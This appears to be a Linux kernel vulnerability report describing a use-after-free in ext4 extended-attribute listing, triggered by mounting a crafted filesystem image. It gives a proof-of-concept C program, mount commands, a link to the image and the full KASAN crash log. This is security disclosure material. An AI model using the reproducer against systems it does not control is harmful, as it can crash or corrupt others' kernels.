- Overview ext4: use-after-free() detected by KASAN when mounting and operating a crafted ext4 image - Reproduce (on a KASAN build of 4.17-rc4) # mkdir mnt # mount -t ext4 242.img mnt # gcc -o poc poc.c # ./poc ./mnt - POC (poc.c) #define _GNU_SOURCE #include <sys/types.h> #include <sys/mount.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/xattr.h> #include <dirent.h> #include <errno.h> #include <error.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static void activity(char *mpoint) { char *xattr; int err; err = asprintf(&xattr, "%s/foo/bar/xattr", mpoint); char buf2[113]; memset(buf2, 0, sizeof(buf2)); listxattr(xattr, buf2, sizeof(buf2)); } int main(int argc, char *argv[]) { activity(argv[1]); return 0; } - Kernel message [ 382.459225] EXT4-fs (loop0): mounted filesystem with ordered data mode. Opts: (null) [ 389.596693] ================================================================== [ 389.598395] BUG: KASAN: use-after-free in ext4_xattr_list_entries+0x120/0x190 [ 389.599925] Read of size 4 at addr ffff8801f0d00080 by task a.out/1376 [ 389.601669] CPU: 0 PID: 1376 Comm: a.out Not tainted 4.17.0-rc4+ #5 [ 389.601672] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 [ 389.601679] Call Trace: [ 389.601719] dump_stack+0x7b/0xb5 [ 389.601754] print_address_description+0x70/0x290 [ 389.601760] kasan_report+0x291/0x390 [ 389.601765] ? ext4_xattr_list_entries+0x120/0x190 [ 389.601771] __asan_load4+0x78/0x80 [ 389.601776] ext4_xattr_list_entries+0x120/0x190 [ 389.601781] ext4_listxattr+0x32e/0x5f0 [ 389.601787] ? ext4_xattr_get+0x4d0/0x4d0 [ 389.601791] ? __kmalloc_node+0x11e/0x2e0 [ 389.601796] ? ext4_xattr_get+0x4d0/0x4d0 [ 389.601813] vfs_listxattr+0x9d/0xc0 [ 389.601818] listxattr+0x58/0xd0 [ 389.601823] path_listxattr+0xb9/0x120 [ 389.601828] ? listxattr+0xd0/0xd0 [ 389.601839] ? vm_brk+0x20/0x20 [ 389.601845] __x64_sys_listxattr+0x48/0x50 [ 389.601869] do_syscall_64+0x78/0x170 [ 389.601885] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 389.601903] RIP: 0033:0x7fcf8ac8a0d7 [ 389.601906] RSP: 002b:00007ffc8733aa58 EFLAGS: 00000202 ORIG_RAX: 00000000000000c2 [ 389.601916] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fcf8ac8a0d7 [ 389.601918] RDX: 0000000000000071 RSI: 00007ffc8733aa80 RDI: 00000000015a5080 [ 389.601921] RBP: 00007ffc8733ab00 R08: 00000000015a5010 R09: 0000000000000000 [ 389.601923] R10: 00000000000001ab R11: 0000000000000202 R12: 0000000000400550 [ 389.601926] R13: 00007ffc8733ac00 R14: 0000000000000000 R15: 0000000000000000 [ 389.602286] Allocated by task 464: [ 389.603041] save_stack+0x46/0xd0 [ 389.603046] kasan_kmalloc+0xad/0xe0 [ 389.603050] kasan_slab_alloc+0x11/0x20 [ 389.603054] kmem_cache_alloc+0xd1/0x1e0 [ 389.603080] skb_clone+0x91/0x160 [ 389.603102] netlink_broadcast_filtered+0x4f7/0x600 [ 389.603110] netlink_sendmsg+0x676/0x6e0 [ 389.603121] sock_sendmsg+0x76/0x80 [ 389.603126] ___sys_sendmsg+0x4cd/0x4e0 [ 389.603130] __sys_sendmsg+0xea/0x170 [ 389.603134] __x64_sys_sendmsg+0x48/0x50 [ 389.603138] do_syscall_64+0x78/0x170 [ 389.603143] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 389.603486] Freed by task 464: [ 389.604150] save_stack+0x46/0xd0 [ 389.604154] __kasan_slab_free+0x13c/0x1a0 [ 389.604158] kasan_slab_free+0xe/0x10 [ 389.604161] kmem_cache_free+0x89/0x1e0 [ 389.604165] kfree_skbmem+0x92/0xa0 [ 389.604169] kfree_skb+0x5e/0xf0 [ 389.604173] netlink_broadcast_filtered+0x470/0x600 [ 389.604176] netlink_sendmsg+0x676/0x6e0 [ 389.604180] sock_sendmsg+0x76/0x80 [ 389.604184] ___sys_sendmsg+0x4cd/0x4e0 [ 389.604187] __sys_sendmsg+0xea/0x170 [ 389.604191] __x64_sys_sendmsg+0x48/0x50 [ 389.604195] do_syscall_64+0x78/0x170 [ 389.604200] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 389.604547] The buggy address belongs to the object at ffff8801f0d00000 which belongs to the cache skbuff_head_cache of size 208 [ 389.607302] The buggy address is located 128 bytes inside of 208-byte region [ffff8801f0d00000, ffff8801f0d000d0) [ 389.609737] The buggy address belongs to the page: [ 389.610763] page:ffffea0007c34000 count:1 mapcount:0 mapping:0000000000000000 index:0x0 [ 389.612457] flags: 0x2ffff0000000100(slab) [ 389.613340] raw: 02ffff0000000100 0000000000000000 0000000000000000 00000001000c000c [ 389.614972] raw: ffffea00077d8940 0000000b0000000b ffff8801f5808540 0000000000000000 [ 389.616588] page dumped because: kasan: bad access detected [ 389.618099] Memory state around the buggy address: [ 389.625195] ffff8801f0cfff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 389.626736] ffff8801f0d00000: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 389.628279] >ffff8801f0d00080: fb fb fb fb fb fb fb fb fb fb fc fc fc fc fc fc [ 389.629799] ^ [ 389.630497] ffff8801f0d00100: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb [ 389.632027] ffff8801f0d00180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 389.633542] ================================================================== [ 389.635079] Disabling lock debugging due to kernel taint - Analysis https://elixir.bootlin.com/linux/v4.17-rc7/source/fs/ext4/xattr.c#L663 for (; !IS_LAST_ENTRY(entry); entry = EXT4_XATTR_NEXT(entry)) { const struct xattr_handler *handler = ext4_xattr_handler(entry->e_name_index); Based on KASAN report, a dangling ext4_xattr_entry pointer is accessed during the execution of POC. Files: 242.img.zip: https://bugzilla.kernel.org/attachment.cgi?id=276381 Note that to reproduce the bug on KASAN build, several tries may be required. Reported by Wen Xu (wen.xu@xxxxxxxxxx) from SSLab at Gatech.